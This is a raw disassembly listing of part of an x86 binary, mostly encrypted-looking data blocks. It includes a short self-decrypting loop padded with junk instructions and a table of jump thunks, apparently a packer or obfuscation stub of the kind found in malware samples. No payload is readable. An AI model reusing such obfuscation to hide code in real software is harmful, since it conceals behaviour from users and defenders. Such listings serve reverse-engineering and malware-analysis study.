6FE87232h, 7200A268h, 0CBE2A9D8h dd 72306FC8h, 3109B9C7h, 96C905FCh, 252h, 2CC1B358h, 670E6C80h dd 0D4592335h, 0BAA2878h, 7DF084A9h, 0CB6E4AEFh, 81903CB1h dd 31C67203h, 0E00AA64Fh, 2C761F96h, 70503575h, 0FFADDF28h dd 58D1A04Ah, 0D4103D64h, 0DD906C02h, 7E33C552h, 37B0A3CCh dd 1B34260h, 53FB8DEFh, 1A9888BEh, 0CE2AB884h, 0BDBF51C3h dd 1681AC61h, 32130D84h, 7BE32FC4h, 485AAA2Ah, 32C3C3BEh dd 574D2083h, 0ADF79Bh, 83336541h, 85A93520h, 0BA482CC1h dd 0B6C86E6Ah, 37C6546Eh, 163B6ED2h, 752800C6h, 0A6DB6DFAh dd 27D7BD70h, 8854E6BCh, 19D1062h, 0BE7A3A77h, 89A1896h dd 1466F420h, 0BE4D59C8h, 7BF61896h, 3D275AECh, 531FEB4Bh dd 0FD1FC751h, 0B446F283h, 0FF8B7ACAh, 2010AA4Bh, 9908A235h dd 17FED89Fh, 0D985178Dh, 1EB74133h, 10248600h, 7D089A6Ah dd 0EE4ADC48h, 6DE983E3h, 5250ACC8h, 0BE0F5F5Fh, 7F3B108h dd 6DFF7993h, 13657AD0h, 48A47D71h, 1143DA2Fh, 9BD72357h dd 2ABC2BC6h, 12AD0977h, 0C11D8710h, 0D1AD8420h, 0AF2D6400h dd 0A4D47B57h, 78212758h, 0AD83037Eh, 178D00D1h, 9435D981h dd 0BBF87D47h, 1AF9B3h, 9FC90000h, 305CA843h, 6C2F7E17h dd 0AC126234h, 154B44h, 17BF0000h, 12B07800h, 0E9FEED78h dd 7D0293BBh, 0D2F8D4B5h, 0B3E6305Bh, 39A537A0h, 0B8C05713h dd 60C8DA2Ah, 52190B86h, 61ED37B1h, 7A56AECEh, 801AA82Ah dd 70529111h, 0C9218328h, 0D2A77F25h, 4B46D047h, 2FC93210h dd 5426CAA6h, 0CD64FA88h, 3C316385h, 0A796C905h, 0F7000000h dd 3F991464h, 60CC611Bh, 9701ACCEh, 0C470FD7Fh, 32AA4B31h dd 47085F5h, 56D6CF69h, 0A2DA7DDFh, 0E98BA113h, 0A872344h dd 28704F8Ah, 0B312708Ah, 0BA537A0h, 0C7D65343h, 54CC5CEDh dd 0DEE438CEh, 5FA7D97Eh, 2A1CED45h, 637B143h, 628D409Ch dd 0DFCA63F5h, 464E6CC8h, 8B06E048h, 2FC92C78h, 73CD643Eh dd 133C3169h, 38ECC3h, 0D5660000h, 8AAE0AABh, 3DD37DF0h dd 0E06B243h, 0A2B7E18Ch, 64C55BDAh, 1A9BE174h, 48E567BEh dd 0BC314BECh, 0F578FA10h, 1B9B1690h, 0F528704Eh, 351E1C7h dd 0F1000000h, 0A14AF654h, 0A9430FD7h, 0B45B77CFh, 455C78C4h dd 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h dd 525E55A9h, 0C281E289h, 4, 8704EA83h, 248B2414h, 0E3895324h dd 4C381h, 0EB830000h, 241C8704h, 242C895Ch, 199068h, 243C8900h dd 5ACDB850h, 2D4058ADh, 701526E7h, 2D03E0C1h, 5F7C7638h dd 0DE1A472Dh, 642B057Fh, 8150A285h, 53212404h, 815D7C0Fh dd 0F5321EDh, 868587Ch, 8900007Eh, 4812424h, 424h, 52505F00h dd 0D089EA89h, 847895Ah, 243C8B58h, 81E18951h, 4C1h, 4C18100h dd 87000000h, 0FF5C240Ch, 815D2434h, 4C4h, 3A0E900h db 0FDh, 0FFh, 5 ; --------------------------------------------------------------------------- loc_5BB5DF: ; CODE XREF: sdfs____:005BB071j mov eax, 7EC7789h add eax, ebp loc_5BB5E6: ; CODE XREF: sdfs____:loc_5BB06Cj mov ecx, eax call sub_5BB601 ; --------------------------------------------------------------------------- imul edx, [edi], 1F16B7BAh sub al, 8Ah loc_5BB5F5: ; CODE XREF: sdfs____:005BB671j mov eax, ds:0B46EAC22h xchg edx, [edx-70h] ; --------------------------------------------------------------------------- db 8Dh, 0C8h, 14h ; --------------------------------------------------------------------------- dec ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_5BB601 proc near ; CODE XREF: sdfs____:005BB5E8p mov si, cx pop ecx mov esi, 392ED01Bh add ecx, 5A5Bh jbe loc_5BB619 mov dx, ax loc_5BB619: ; CODE XREF: sub_5BB601+Fj mov edi, 0 mov eax, ecx loc_5BB620: ; CODE XREF: sub_5BB696:loc_5BB6E0j mov ebx, [ecx+edi] pusha jz loc_5BB62B clc loc_5BB62B: ; CODE XREF: sub_5BB601+23j movsx ecx, si popa add ebx, 518E9BF5h xor ebx, 522925DDh push ebx sbb edx, 2E31C637h pop esi sub ebx, 35612A9Ah call sub_5BB660 jmp near ptr 0D6DB33BAh sub_5BB601 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0CDh dd 67512657h, 0E6481895h, 17BCA309h ; =============== S U B R O U T I N E ======================================= sub_5BB660 proc near ; CODE XREF: sub_5BB601+48p call near ptr loc_5BB66E+1 cmpsd ror ecx, 2Eh xchg eax, edi db 36h stos byte ptr es:[edi] inc edi push ebx loc_5BB66E: ; CODE XREF: sub_5BB660p and esp, [esi-48h] sub_5BB660 endp ; sp-analysis failed ja short loc_5BB5F5 pop edx pop esi mov [ecx+edi], ebx jl loc_5BB69D call sub_5BB696 or bl, [ecx+edx*4+66h] add bl, al test eax, 7E8C66B3h mov esi, 1B13C697h lds eax, [edi] scasd ; =============== S U B R O U T I N E ======================================= sub_5BB696 proc near ; CODE XREF: sdfs____:005BB67Ep var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = dword ptr -16h var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058B97E SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0058BC88 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058BF25 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058C3EC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058C873 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058D0C8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058D630 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0058D801 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058F512 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058F906 SIZE 0000005A BYTES ; FUNCTION CHUNK AT 0058FA27 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058FDBC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005901E5 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00590B62 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00590BE1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00591300 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059132A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0059194A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00591C9E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005948DB SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005949FF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00594CBD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00594E0B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005950FA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005954DE SIZE 00000058 BYTES ; FUNCTION CHUNK AT 0059553C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00595938 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00596153 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005965FA SIZE 0000003D BYTES ; FUNCTION CHUNK AT 00597E15 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00598AA0 SIZE 0000000A BYTES jno $+6 pop eax loc_5BB69D: ; CODE XREF: sdfs____:005BB678j jnz loc_5BB6A9 xor edx, 55F7194Fh loc_5BB6A9: ; CODE XREF: sub_5BB696:loc_5BB69Dj sub edi, 4 mov ax, bx cmp edi, 0FFFFA6A0h jnz loc_5BB6C9 movsx eax, dx jmp loc_5BB6EC ; --------------------------------------------------------------------------- db 57h dd 23ABB93Ah db 70h ; --------------------------------------------------------------------------- loc_5BB6C9: ; CODE XREF: sub_5BB696+1Fj jmp loc_5BB6E0 ; --------------------------------------------------------------------------- dw 0EF6h dd 2B6D59FBh, 19BBFD81h, 0E3AC4D54h, 1327BE0Eh ; --------------------------------------------------------------------------- loc_5BB6E0: ; CODE XREF: sub_5BB696:loc_5BB6C9j jmp loc_5BB620 ; --------------------------------------------------------------------------- db 0D2h, 0EBh, 2Bh dd 0C2C2AD97h ; --------------------------------------------------------------------------- loc_5BB6EC: ; CODE XREF: sub_5BB696+28j jmp loc_5BB836 ; --------------------------------------------------------------------------- db 0F7h, 0F5h, 0F7h dd 95ECE728h, 715893DAh, 0B6CFDF06h, 5D54FDBEh, 0ECA43636h dd 5DD500BCh, 76D352C5h, 0FC94A4D6h, 0AEC44100h, 77CB50C1h dd 0ACAC3252h, 46BF009Ch, 90ADFC6Ch, 0A3365973h, 72E275D6h dd 90BD9Ch, 8CE693DDh, 0A592A79Bh, 0A7ABDD64h, 918F9792h dd 0F95CFC7Ah, 0B1E496B9h, 47E4B59Bh, 0E592B69Fh, 0BDF694B6h dd 0B3EBB59Eh, 93D0EC96h, 97BF999Ch, 0F55CFD7Bh, 0AFF49389h dd 0B2CD00EDh, 0E594A6E3h, 0C3B5D4h, 622D4457h, 0AE29B0F3h dd 2Ch, 34h, 38h, 2 dup(0) dd 4, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h dd 3220h, 1Eh dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5BB836: ; CODE XREF: sub_5BB696:loc_5BB6ECj jmp loc_5BD923 ; --------------------------------------------------------------------------- push 7EC7CC5h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC7DD7h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC7E73h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC7F2Ch jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC8012h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC80E7h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC81BAh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC829Fh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC8705h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC877Bh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC88CBh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC8BFDh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC8F4Fh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC92DBh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC947Dh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC94E5h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC9549h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC95B0h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC9757h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC9841h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC9A00h jmp loc_58B97E ; --------------------------------------------------------------------------- db 19h, 0F2h, 82h dd 0CFAD41F3h, 1A648A26h, 6BE9399Bh, 0B1CB6ECAh, 2F8BAC3Ch dd 51C3720Ah, 8731BC40h, 0CB650870h, 0B9DE5721h, 49F4B4EDh dd 0EE1C2870h, 0D6A04AB8h, 0CEA8420Eh, 0D2EC727h, 0E4E70A67h dd 0CF6A07F3h, 9934CE58h, 0AB2746Fh, 21200856h, 37B59C42h dd 13F25250h, 28739CB7h, 3E361B1h, 5D9A3B7h, 9D86067Bh dd 148E2873h, 2BCE6F61h, 0FC13B70Ah, 0D0881EB0h, 744C8D2Ch dd 0F28C1A47h, 4Ah, 0CEED78D0h, 4E8ECB0Dh, 2EF688AEh, 772A0694h dd 0A8D973E4h, 37B58829h, 14A13B69h, 0C6D2F8C5h, 0C864CC7Ah dd 72C67D59h, 3EDF6328h, 3CE92DB8h, 94FA9A2Ch, 815D1F30h dd 2C943703h, 18C19E4h, 6FCBB145h, 10732h, 0A04A9000h dd 0AF420ED6h, 942AAAFBh, 0FFA73E48h, 27D036C6h, 39506B65h dd 0D4EB50ACh, 0D8EA3A40h, 20CAEE4Ah, 28C28E56h, 1FA0A74Eh dd 0BB305C7Eh, 0EEAEE391h, 26305C7Dh, 0D547EE7Ch, 14E93547h dd 85FC8E19h, 37B56C32h, 4C08A200h, 770DD1ABh, 1DA836BBh dd 0AEA7AC72h, 0D5886026h, 463BCD5Ah, 2FC7ECF8h, 52660994h dd 1DB4136Bh, 0CA63FD8Fh, 0EED64641h, 0D95B4A2Ch, 1E97F05h dd 62F48095h, 5EACCFCBh, 0BC4E444Ch, 8826C5C5h, 9D554F20h dd 0EC91A410h, 91A70896h, 640DA361h, 3C30D28Fh, 0E73E91ADh dd 8F00001Dh, 37610C6Ch, 78D45923h, 0AF09A4D6h, 0DC78F577h dd 3AB24339h, 0FC789DFDh, 4ECEC771h, 9AE275A7h, 0E193B91Bh dd 27F2B4Ch, 28704982h, 4A0A7892h, 0AA43D5A7h, 55F5FF20h dd 0D2F96026h, 4C816BEh, 9E4EE776h, 25D52B47h, 0C654C0CDh dd 6ABA22B4h, 0A28E14E8h, 7C35CF5Fh, 305C403Ch, 0A062CED4h dd 0A537A0B3h, 0B5AAEDECh, 60F75F37h, 9988C418h, 2BB9CB1Bh dd 0F78123CFh, 46B2CA6Fh, 0AA5F7B2Ah, 0F9052873h, 0D00FA650h dd 0C1D4E582h, 89F306C6h, 7AA262A1h, 0B4DC8C1Ah, 0E6000000h dd 0DFD2A04Ah, 305CC4DFh, 1DD7331h, 8D4A0B5h, 5CC15899h dd 1E58F230h, 0A84F1797h, 0BA760CD0h, 5CB4FC1Eh, 21F448DEh dd 9A17A136h, 37B5AF47h, 0ADAB2EFh, 3971D43Fh, 30B5EDA0h dd 0E86C0297h, 0D9EB3BB9h, 64F7AA4Bh, 512859F3h, 9B2FC783h dd 815D1F33h, 594B3703h, 8AF207CFh, 0C7E27BEBh, 0A709D4A0h dd 50E5D119h, 9D828D24h, 0B2823C31h, 1CD51Dh, 0FE7E9D00h dd 4B31C577h, 96E80EAAh, 0E765BD1Fh, 2D4FE24Eh, 0A30F2880h dd 0D547EE8Eh, 1BB538BCh, 4FE984F4h, 3D22D3ADh, 48703061h dd 6AA02870h, 0D5A74A34h, 4749B43h, 0E577A12Ch, 4AA81A9Bh dd 420ED6A0h, 8027CEA8h, 0DC7DF864h, 0E7FD413Bh, 17CAC751h dd 9F37B59Fh, 58700105h, 0E9C5062Fh, 874FD94Eh, 0BD7D0870h dd 0F17C98FDh, 255C4AA6h, 733DB302h, 0FFB29210h, 6CE9EC7Ch dd 3D5FFDAEh, 0C641DAFh, 0A46B5475h, 4AE06CFEh, 12B8528h dd 0B88DFA77h, 1B2BE7AEh, 1C39A4h, 62123900h, 0AFCD61D3h dd 0FA84AA06h, 4BC9D97Bh, 91EB0EAAh, 0CFAB8C1Ch, 71A3522Ah dd 0A7119C20h, 0EB45E890h, 0D9BE3741h, 46D4D4CDh, 0E3C2870h dd 86ED7858h, 2C6093E9h, 0DDCE48B5h, 0B341D853h, 11A80C1Ah dd 99514AC3h, 815D1F3Dh, 24B621CCh, 0B514266Dh, 3FB6EC37h dd 41ECE8E8h, 9A4D44D6h, 182FCBEEh, 2EF3828Ah, 1AE7B78Eh dd 16E29CB2h, 0BD4FD85Bh, 316761C4h, 13F3B160h, 0B244D35Eh dd 68296918h, 0D2350EFh, 0F7812373h, 0EF67FABAh, 0A0881A50h dd 2D334B46h, 277D5848h, 5123C995h, 779A42DCh, 0CC504105h dd 12867270h, 9CF37EF8h, 38D4B27Fh, 1B80B324h, 0D5660000h dd 8AAE0AABh, 3DD37DF0h, 0E06B243h, 0A2B7E18Ch, 64C55BDAh dd 1A9BE174h, 48E567BEh, 0BC314BECh, 0F578FA10h, 1B9B1690h dd 0F5287046h, 0A04AE1C7h, 0F105B1E0h, 0BF51F58Bh, 0CD6361BDh dd 4AEF7771h, 0C53B7B36h, 0CFD5305Ch, 313CF139h, 0E37A14A6h dd 52ED4E28h, 0ADE460EEh, 0EB02C32Fh, 0CB37B58Dh, 1E8D54D9h dd 700A9D98h, 279B4FE6h, 0C4754EA2h, 586A9D6Ch, 6C482FCCh dd 9721B735h, 2051D7CFh, 208A5860h, 945CF2B0h, 0A01FD160h dd 0B1BC9D22h, 3A1D9426h, 0D88B3A77h, 0B4A77ACAh, 9B347D24h dd 0F7720B75h, 0BB4DE337h, 509AAEC6h, 0A9C0683h, 27CEA842h dd 83FD1FC7h, 2C6C25A3h, 0E4740E9Bh, 0D4C028BEh, 0D5223346h dd 817CBB2Bh, 0E5E9010h, 8C228074h, 0C25022C8h, 0AA8F4A37h dd 0C5FA4A8Fh, 1A9Ah, 2CC1B358h, 670E6C80h, 0D4592335h dd 0BAA2878h, 7DF084A9h, 0CB6E4AEFh, 81903CB1h, 31C67203h dd 0E00AA64Fh, 2C761F96h, 70453575h, 0FFADDF28h, 0F3B3EE78h dd 1D305CC4h, 0ED0FAB87h, 956CF993h, 0DB2CA2F6h, 0C428CEE1h dd 374FDD31h, 47D2A7FBh, 704B46D0h, 0C637B51Ch, 93824ADCh dd 0D85CB511h, 2FB27E04h, 64F7EDF8h, 0D2CF59F3h, 28731BD2h dd 0BD3F5642h, 0ACE5C32Fh, 2FCBF639h, 52E32B79h, 0FD484168h dd 7B0D9A95h, 0A01A2306h, 0A84D092Ah, 0EA7270CCh, 0D9EB3B45h dd 0EF376D11h, 0FE881F1Ah, 18BC3E56h, 3CAA86F4h, 0B6E02D45h dd 8B1D8722h, 0D4CD67F1h, 1374DFD4h, 7333663Ch, 9D1374E0h dd 6D8F2B07h, 24366213h, 0D94DF5Ah, 14282F03h, 19C5A3h dd 0EE8EAD00h, 3B41D547h, 86F81EBAh, 0D7554DEFh, 1D5FF25Eh dd 0B31F1890h, 0E557DE9Eh, 2B8528ACh, 5FF97404h, 4D32C3BDh dd 45602051h, 9AB02870h, 0B3EE7824h, 305CC4F3h, 583440D5h dd 20CAEE4Ah, 383B8E56h, 0C4B6F6ABh, 445E305Ch, 626D24B6h dd 0CA37B590h, 1CB13933h, 0D31F4EFFh, 29F8752Fh, 95022DA9h dd 0B1DC6903h, 0A01F66D0h, 0B3262713h, 32FCC65h, 0AA4F17A1h dd 867772D2h, 9A478F68h, 1B7FBB49h, 53D1C18Dh, 688BE6E7h dd 1F1A93C3h, 19E567BEh, 51D3C38Bh, 0D761F78Dh, 0CA80913Dh dd 0FA885426h, 2E0A9864h, 1A41FC5Fh, 0B4881A94h, 57E176E1h dd 3108425Ah, 0A630728Ch, 0C8621C3Eh, 5B97150Ch, 2650FA56h dd 8954D28Bh, 4D62F280h, 18F2h, 94195BF0h, 0CF661438h dd 3CB1CB6Dh, 73028090h, 0A5482CC1h, 7386F237h, 0D9C86409h dd 0D97EDA5Bh, 88A20EA7h, 841E47EEh, 70448D0Dh, 17758728h dd 0EFED78h, 764AACAAh, 82FC1EBAh, 0DB4CEFA2h, 0F8D8541h dd 0A32BC523h, 0D882EA8Fh, 1F10F597h, 0C32FB589h, 0B0814402h dd 0A03A6837h, 9A6A1024h, 9864E63Eh, 2ABC740Ah, 0E8E988A2h dd 6F0DBDF0h, 9F671539h, 57E17705h, 0B5116B8Fh, 780ADAA2h dd 24B12DB0h, 0BE0F771Eh, 9968C0C2h, 286F2CA9h, 8F26A5BAh dd 0C06D0F2Dh, 831582ADh, 0C3B3500Eh, 950CA62Fh, 2082B415h dd 0C29AD506h, 5E36343Ch, 13918044h, 9579B133h, 3DD17D0Fh dd 0F61AB63Fh, 0A62EB884h, 881AEA94h, 0F70383FEh, 970D2081h dd 95DD7F5Bh, 9E24F87Ch, 26D26108h, 52E23C3Eh, 180D7Dh dd 3646D500h, 83F91DBFh, 0CEB046F2h, 1F9DF527h, 65173A96h dd 0FBD750C8h, 2D8F2656h, 53FD70F4h, 8731BCBCh, 56A0B75h dd 42A8E899h, 52682870h, 37A0B36Ch, 4A6EECA5h, 1CB837B1h dd 21A383F9h, 0ED7F25C9h, 1DA8CC61h, 83129207h, 4D5B9796h dd 64096B81h, 6FA83C31h, 4C75B03Ch, 23BD4FDDh, 702F2E6Eh dd 74BCE628h, 2F733F72h, 9D2870h, 0CEAC95ABh, 6ABA4896h dd 0CFCFC25Ch, 41287078h, 0DBF69763h, 93287078h, 913D0183h dd 6526FE7Eh, 2D64923Bh, 2870796Dh, 0F36FFDA7h, 8C48AE4Fh dd 0B2300C6Eh, 287B4546h, 25B08C1Dh, 15382BEDh, 0F835FD10h dd 5Bh dd 5D5D54EEh, 0B7286FDBh, 0B38705EDh, 0E69B2DBAh, 305CC4A2h dd 3EA63072h, 0B9965E7h, 0B612F32Fh, 0AA305CC4h, 66FF07A6h dd 1B333066h, 8E3DF5E9h, 84311D36h, 22B0h, 449F1200h, 0C3305CC5h dd 7C35C750h, 37B5A13Dh, 0EE6EA72Fh, 99198816h, 7B2873A0h dd 0B35F9B29h, 78C67CF1h, 0C4F3B3EEh, 0B11D305Ch, 0EE4AD89Ch dd 25B72033h, 1CE094B9h, 453CAA86h, 37B5A992h, 16A28220h dd 6BFB7A04h, 4A4A47D1h, 0CA2873A9h, 0A8E9A9D8h, 792B2873h dd 0B3F705B1h, 0FEEAD899h, 0A69BB4B3h, 16A28210h, 0D1AB4F03h dd 0F42DA943h, 6864B870h, 626EB6C4h, 6450ACCEh, 0E22ABD1h dd 51D4946Fh, 788EBAE1h, 20C963EAh, 922456E4h, 670C76FBh dd 0E2583055h, 0D9EBAB81h, 1D16A735h, 0F7632AAFh, 0DA767BB7h dd 28B44630h, 81017006h, 93287300h, 21A38311h, 710B95C9h dd 73008000h, 26129028h, 0ED7FE80Bh, 0CBCF39B4h, 8A2B792Fh dd 92720C2Eh, 342812F3h, 0FAA3B578h, 0A3522CCEh, 7719B43h dd 0D21A53Fh, 517836Fh, 0D165E17Bh, 7107859Dh, 6E0E21ADh dd 0F0DC10D8h, 0ADC222A0h, 59F402ABh, 1047FC52h, 0E2D622C3h dd 15872E48h, 0CCAC4307h, 0AA47473Ah, 0DBC9A853h, 924F945h dd 82950C9Eh, 30AFAC9Bh, 0BB51C372h, 0CC10688Fh, 0F0DC20B6h dd 0F6C323A1h, 0A13BBB62h, 6A9AB0F0h, 0FA78A8A0h, 0AEF4982Ah dd 0BAC45642h, 173993Bh, 5ACD683Dh, 8F0D04C0h, 0E3C52DB7h dd 0C380A3AEh, 27B1F3A7h, 7209F08Dh, 86FC740Eh, 81179313h dd 0CB277D98h, 0B6C06AC6h, 0EA68B824h, 0CA0881Ah, 81183995h dd 4FEEE288h, 75F72FB7h, 0FBDF1BA9h, 0FB952751h, 18703061h dd 2A08881h, 81180F8Fh, 57A30188h, 3349EE4Ah, 81183E7Eh dd 8CCD688h, 394B9B19h, 814D5BABh, 0F521096Bh, 73C81460h dd 36B6EF77h, 0FF796FAh, 0ECE4E47h, 7D5991EBh, 4C08A2DAh dd 7270CCAEh, 11AB3B86h, 81182060h, 46B2F088h, 29C3BD52h dd 0E7F58AADh, 0B841B2F1h, 0BBF743D1h, 0B985071Fh, 9751F81Ch dd 0E975F880h, 18B2CA6Dh, 81532969h, 71B9EB88h, 30CAB245h dd 52ABEBA6h, 3F658881h, 4FEABFF3h, 0A0534ED8h, 168FDA37h dd 3160FA8Ch, 80983771h, 0F52901A3h, 29DB8282h, 5DFF7606h dd 0A32BBDBFh, 8C16EE8Eh, 0AE4C08A4h, 7E923ACCh, 56A220FCh dd 9E3F411Ah, 3FB6C06Ah, 0F56E3A8Ah, 40B433h, 932A0000h dd 0C171AFA4h, 0A567D3BCh, 14DCA54Ah, 0CE820149h, 0DE680290h dd 5CB9E3A3h, 0BB772D30h, 10879267h, 423CDE86h, 0DE81F0F6h dd 0B437B593h, 4DE747EEh, 73945454h, 0AE6BC28h, 3BB5h dd 0A54ACD00h, 0FAB741DBh, 305CC4BAh, 39BC4F5Ah, 39933BC1h dd 6F0923ABh, 9F9A6F83h, 0C0541C3Eh, 0CA586ABAh, 103AA234h dd 651C8A66h, 37B573EAh, 0E3A3DEC8h, 2D287373h, 0F64CE177h dd 3410ED78h, 8B689E25h, 76AC3F99h, 0C632C0F3h, 809327A7h dd 0C9D98517h, 1E9FB4Bh, 0D1F7EAA7h, 994537B4h, 5DDF3773h dd 0D86D0381h, 0ED13DF0Ah, 1FC32FC3h, 2859F385h, 2873A768h dd 0DA3EFAA8h, 8CEE00CCh, 7C632B0h, 0FCA29087h, 902ABDB8h dd 900B8B06h, 9F0533C0h, 8B67193Fh, 68C1641Dh, 53513B19h dd 0A4333EF3h, 0D6A04A12h, 7D158C1Ah, 3733302Eh, 8642DB6Dh dd 0BDB88BD3h, 0DC786ECAh, 6CEF3B3Eh, 44D1AB4Fh, 8E1C7832h dd 0E3A7B5E7h, 11982E4Eh, 3F8A0A48h, 0A7C3F448h, 4F000013h dd 0F721CCACh, 38941963h, 6FC96416h, 9C38B537h, 0FA720379h dd 0BCB85D3Dh, 0E8E8731h, 5A223567h, 0A1D379DBh, 423F6B0Ch dd 28703E42h, 9FCAB8D2h, 305CC41Fh, 28C255C0h, 0B5AFEE79h dd 1EC75E37h, 6CEE2679h, 1C7B1290h, 3E220E8Ch, 0AD38D264h dd 2CAD6A68h, 9602EE5Fh, 0E16DFF81h, 0D3D12D4Fh, 193E9A67h dd 19339F67h, 6B7FD25Fh, 0C905340Dh, 133196h, 5A1A3100h dd 0A7D579DBh, 0F28CA20Eh, 43C1D143h, 89F306B2h, 0C7B374E4h dd 9AB4A32h, 0BF199418h, 0E34DE098h, 0E1862F49h, 3DCCCCC5h dd 36442870h, 64ED7850h, 612431DCh, 5473F29h, 803D8E70h dd 0ED7AF5A8h, 22A2F35Bh, 96A1D0D6h, 637B4E9h, 6AC6B85Eh dd 0C28A1C86h, 77A14C2Eh, 0F676AFE3h, 5A029C60h, 0B561C94Bh dd 9B43D5A7h, 0A93B0B75h, 6B28A21Ch, 32FE992Ch, 3D3FD2FEh dd 3147D5E1h, 73824040h, 3CD2D028h, 44E52BE0h, 0A24B4DB6h dd 5B60B954h, 6D065FF5h, 7FFD1185h, 30B62FF6h, 811CAE21h dd 0D7D38ADEh, 0D69C123h, 17EF8DA1h, 72CF536Eh, 0CD891F28h dd 749850D4h, 1A9721D5h, 2872CE9Ah, 489D287Ah, 0F84CD1Ah dd 0DA7E5A96h, 64FA8496h, 0B1CB6FC9h, 0A9D986Dh, 0EBABE670h dd 252872F2h, 7C35B37Fh, 2FC7791Eh, 35CD1792h, 0AD32A540h dd 6BF38D1Fh, 546EB6C6h, 6012389Ch, 0AFC963CDh, 978257h dd 3648EE76h, 5CB5ECFAh, 5627DA60h, 58A4D67Ah, 1E6BB34Ah dd 675653E2h, 5FAE47D1h, 6471E45Ah, 77DFC921h, 45019BE5h dd 6F75C9B3h, 78923E83h, 0C05326FEh, 91CCC557h, 211FF236h dd 6641F683h, 0FF772C48h, 11E1C8h, 0A6A8100h, 5725C96Bh dd 0A2DC72DEh, 0F371A113h, 3943D642h, 970324B4h, 0D97BFA82h dd 0FA944C8h, 0B31D90E8h, 3156DF99h, 3D7C3C75h, 66942870h dd 0C5189F00h, 2136305Ch, 9083D65Fh, 0BB3C7507h, 0D737B14Ch dd 0FD1056FBh, 8F1DA77Fh, 0D9F2DB7h, 20CDAF41h, 38DC78E2h dd 8E0E242h, 0B0D449BBh, 16EA584h, 0B33D0000h, 88F204A5h dd 51E460FAh, 61C9DB2Bh, 0AE0978A3h, 0B2305CC5h, 0EE78BE2Ch dd 5CC4F3B3h, 9EB11D30h, 6E048DEh, 0DFDFD26Ch, 31305CC4h dd 2058773h, 0A6B3835Fh, 0E6248331h, 0BD33A4B3h, 0DC78B80Ah dd 9E1C7438h, 42AE3408h, 30D46F41h, 3A8FB9h, 0B3DB0000h dd 788331A6h, 5CC5AE09h, 0B6E77E30h, 954A7FCBh, 56AEC862h dd 752CBE4Ch, 305C7635h, 816DC5DFh, 0DF7FFD15h, 0E1E3433Dh dd 0CA789D53h, 64DAA44Ah, 5351DB77h, 0F1000000h, 0F507A6B3h dd 51D3C38Bh, 0F361F78Dh, 0C5AE0978h, 28B2305Ch, 5CC53979h dd 3CC9DB30h, 0D30FC20Eh, 994FDD02h, 0F3B3EE78h, 1D305CC4h dd 49DF9DB1h, 18283FBCh, 5E9A7388h, 0A44A9A48h, 708440DAh dd 779C2E0Ah, 0A8F965FFh, 0C5357524h, 0C5DF305Ch, 0DC785F6Dh dd 728646C4h, 11E32008h, 6DB930D4h, 2Dh, 6934C451h, 51DEC321h dd 27CACAC7h, 584A335Ch, 0A4B33290h, 978BD33h, 305CC5AEh dd 78A81E84h, 0D4A64ACAh, 51DB7766h, 39h, 39DC78F1h, 0B8F8A943h dd 58305CC4h, 2433EE4Ah, 9783DB3h, 305CC5AEh, 78BE2CB2h dd 0B3EE78CAh, 305CC4F3h, 593547D5h, 27CBEF4Bh, 0B52AC355h dd 592F7A7Ch, 77CDFF3Bh, 0FE9351DBh, 38D5FFFFh, 7A6DA9F8h dd 45453C35h, 0CF305CC0h, 0D9EB47D5h, 0A537A0B3h, 0B14A6EECh dd 0D6604237h, 4F97E90Eh, 51EBFD35h, 4ACACAC7h, 584A2870h dd 501CC5CDh, 6F22A20h, 77FE7892h, 64245DF7h, 